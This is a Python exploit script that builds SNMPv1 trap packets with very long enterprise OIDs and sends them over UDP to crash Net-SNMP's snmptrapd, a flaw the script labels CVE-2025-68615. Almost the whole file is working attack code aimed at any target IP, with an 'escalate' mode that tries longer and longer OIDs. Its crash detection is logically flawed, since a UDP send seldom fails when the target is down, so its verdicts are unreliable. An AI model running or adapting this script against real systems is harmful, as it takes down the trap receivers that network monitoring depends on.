#!/usr/bin/env python3

import sys
import socket
import argparse
import time
from typing import Optional, List, Tuple
from dataclasses import dataclass
from enum import Enum


class ExploitResult(Enum):
    SUCCESS = "success"
    TARGET_DOWN = "target_down"
    TARGET_ALIVE = "target_alive"
    ERROR = "error"


@dataclass
class TargetConfig:
    host: str
    port: int = 162
    timeout: int = 5


class ASN1:
    
    SEQUENCE = 0x30
    INTEGER = 0x02
    OCTET_STRING = 0x04
    NULL = 0x05
    OBJECT_IDENTIFIER = 0x06
    IP_ADDRESS = 0x40
    COUNTER = 0x41
    TIMETICKS = 0x43
    TRAP_PDU = 0xA4
    
    @staticmethod
    def encode_length(length: int) -> bytes:
        if length < 128:
            return bytes([length])
        elif length < 256:
            return bytes([0x81, length])
        elif length < 65536:
            return bytes([0x82, (length >> 8) & 0xFF, length & 0xFF])
        else:
            return bytes([0x83, (length >> 16) & 0xFF, (length >> 8) & 0xFF, length & 0xFF])
    
    @staticmethod
    def encode_integer(value: int) -> bytes:
        if value == 0:
            return bytes([ASN1.INTEGER, 0x01, 0x00])
        
        result = []
        temp = value
        while temp > 0:
            result.insert(0, temp & 0xFF)
            temp >>= 8
        
        if result[0] & 0x80:
            result.insert(0, 0x00)
        
        return bytes([ASN1.INTEGER]) + ASN1.encode_length(len(result)) + bytes(result)
    
    @staticmethod
    def encode_octet_string(data: bytes) -> bytes:
        return bytes([ASN1.OCTET_STRING]) + ASN1.encode_length(len(data)) + data
    
    @staticmethod
    def encode_null() -> bytes:
        return bytes([ASN1.NULL, 0x00])
    
    @staticmethod
    def encode_oid(oid_str: str) -> bytes:
        parts = [int(x) for x in oid_str.split('.')]
        
        if len(parts) < 2:
            parts = [1, 3, 6, 1, 4, 1] + [1] * 200
        
        result = bytes([parts[0] * 40 + parts[1]])
        
        for part in parts[2:]:
            if part < 128:
                result += bytes([part])
            else:
                encoded = []
                temp = part
                while temp > 0:
                    encoded.insert(0, (temp & 0x7F) | 0x80)
                    temp >>= 7
                encoded[-1] &= 0x7F
                result += bytes(encoded)
        
        return bytes([ASN1.OBJECT_IDENTIFIER]) + ASN1.encode_length(len(result)) + result
    
    @staticmethod
    def encode_ip_address(ip: str) -> bytes:
        octets = bytes([int(x) for x in ip.split('.')])
        return bytes([ASN1.IP_ADDRESS, 0x04]) + octets
    
    @staticmethod
    def encode_timeticks(value: int) -> bytes:
        result = []
        temp = value
        for _ in range(4):
            result.insert(0, temp & 0xFF)
            temp >>= 8
        return bytes([ASN1.TIMETICKS, 0x04]) + bytes(result)
    
    @staticmethod
    def encode_sequence(data: bytes) -> bytes:
        return bytes([ASN1.SEQUENCE]) + ASN1.encode_length(len(data)) + data


class SNMPTrapBuilder:
    
    def __init__(self, community: str = "public"):
        self.community = community
    
    def build_malicious_enterprise_oid(self, length: int) -> str:
        base = "1.3.6.1.4.1"
        overflow = ".1" * length
        return base + overflow
    
    def build_trap_pdu(self, enterprise_oid: str, agent_ip: str, generic_trap: int, 
                       specific_trap: int, timestamp: int) -> bytes:
        
        oid_data = ASN1.encode_oid(enterprise_oid)
        ip_data = ASN1.encode_ip_address(agent_ip)
        generic_data = ASN1.encode_integer(generic_trap)
        specific_data = ASN1.encode_integer(specific_trap)
        time_data = ASN1.encode_timeticks(timestamp)
        varbinds = ASN1.encode_sequence(b'')
        
        pdu_content = oid_data + ip_data + generic_data + specific_data + time_data + varbinds
        
        return bytes([ASN1.TRAP_PDU]) + ASN1.encode_length(len(pdu_content)) + pdu_content
    
    def build_snmp_message(self, pdu: bytes) -> bytes:
        version = ASN1.encode_integer(0)
        community = ASN1.encode_octet_string(self.community.encode())
        message_content = version + community + pdu
        return ASN1.encode_sequence(message_content)
    
    def create_overflow_trap(self, oid_length: int, agent_ip: str = "192.168.1.1") -> bytes:
        enterprise_oid = self.build_malicious_enterprise_oid(oid_length)
        pdu = self.build_trap_pdu(enterprise_oid, agent_ip, 6, 1, 0)
        return self.build_snmp_message(pdu)


class NetSNMPExploit:
    
    def __init__(self, config: TargetConfig):
        self.config = config
        self.builder = SNMPTrapBuilder()
    
    def check_alive(self) -> bool:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.settimeout(self.config.timeout)
            
            test_trap = self.builder.create_overflow_trap(5)
            sock.sendto(test_trap, (self.config.host, self.config.port))
            
            sock.close()
            return True
        except Exception:
            return False
    
    def send_trap(self, payload: bytes) -> bool:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.settimeout(self.config.timeout)
            sock.sendto(payload, (self.config.host, self.config.port))
            sock.close()
            return True
        except Exception:
            return False
    
    def trigger_overflow(self, oid_length: int) -> ExploitResult:
        payload = self.builder.create_overflow_trap(oid_length)
        
        if not self.send_trap(payload):
            return ExploitResult.ERROR
        
        time.sleep(2)
        
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.settimeout(3)
            test_trap = self.builder.create_overflow_trap(5)
            sock.sendto(test_trap, (self.config.host, self.config.port))
            sock.close()
        except Exception:
            return ExploitResult.TARGET_DOWN
        
        return ExploitResult.TARGET_ALIVE
    
    def execute(self, oid_lengths: List[int]) -> ExploitResult:
        for length in oid_lengths:
            result = self.trigger_overflow(length)
            if result == ExploitResult.TARGET_DOWN:
                return ExploitResult.SUCCESS
            time.sleep(1)
        
        return ExploitResult.TARGET_ALIVE


def parse_arguments() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="CVE-2025-68615: Net-SNMP snmptrapd Buffer Overflow",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    parser.add_argument("target", help="Target IP address")
    parser.add_argument("-p", "--port", type=int, default=162, help="SNMP trap port")
    parser.add_argument("-l", "--length", type=int, default=256, help="OID overflow length")
    parser.add_argument("-t", "--timeout", type=int, default=5, help="Socket timeout")
    parser.add_argument("--escalate", action="store_true", help="Try escalating OID lengths")
    
    return parser.parse_args()


def main() -> int:
    args = parse_arguments()
    
    config = TargetConfig(
        host=args.target,
        port=args.port,
        timeout=args.timeout
    )
    
    exploit = NetSNMPExploit(config)
    
    print(f"\n[*] Target: {config.host}:{config.port}")
    print(f"[*] CVE-2025-68615: Net-SNMP snmptrapd Buffer Overflow\n")
    
    oid_lengths = [args.length]
    if args.escalate:
        oid_lengths = [128, 256, 512, 1024, 2048]
    
    print(f"[*] Sending malicious SNMP trap with long enterprise OID...")
    print(f"[*] OID lengths to try: {oid_lengths}")
    
    for length in oid_lengths:
        print(f"[*] Trying OID length: {length}")
        result = exploit.trigger_overflow(length)
        
        if result == ExploitResult.TARGET_DOWN:
            print(f"\n[!] TARGET CRASHED - snmptrapd DoS successful")
            return 0
        elif result == ExploitResult.ERROR:
            print(f"[-] Failed to send payload")
        else:
            print(f"[?] Target still responsive")
        
        time.sleep(1)
    
    print(f"\n[?] Target may still be alive - try larger OID lengths with --escalate")
    return 2


if __name__ == "__main__":
    sys.exit(main())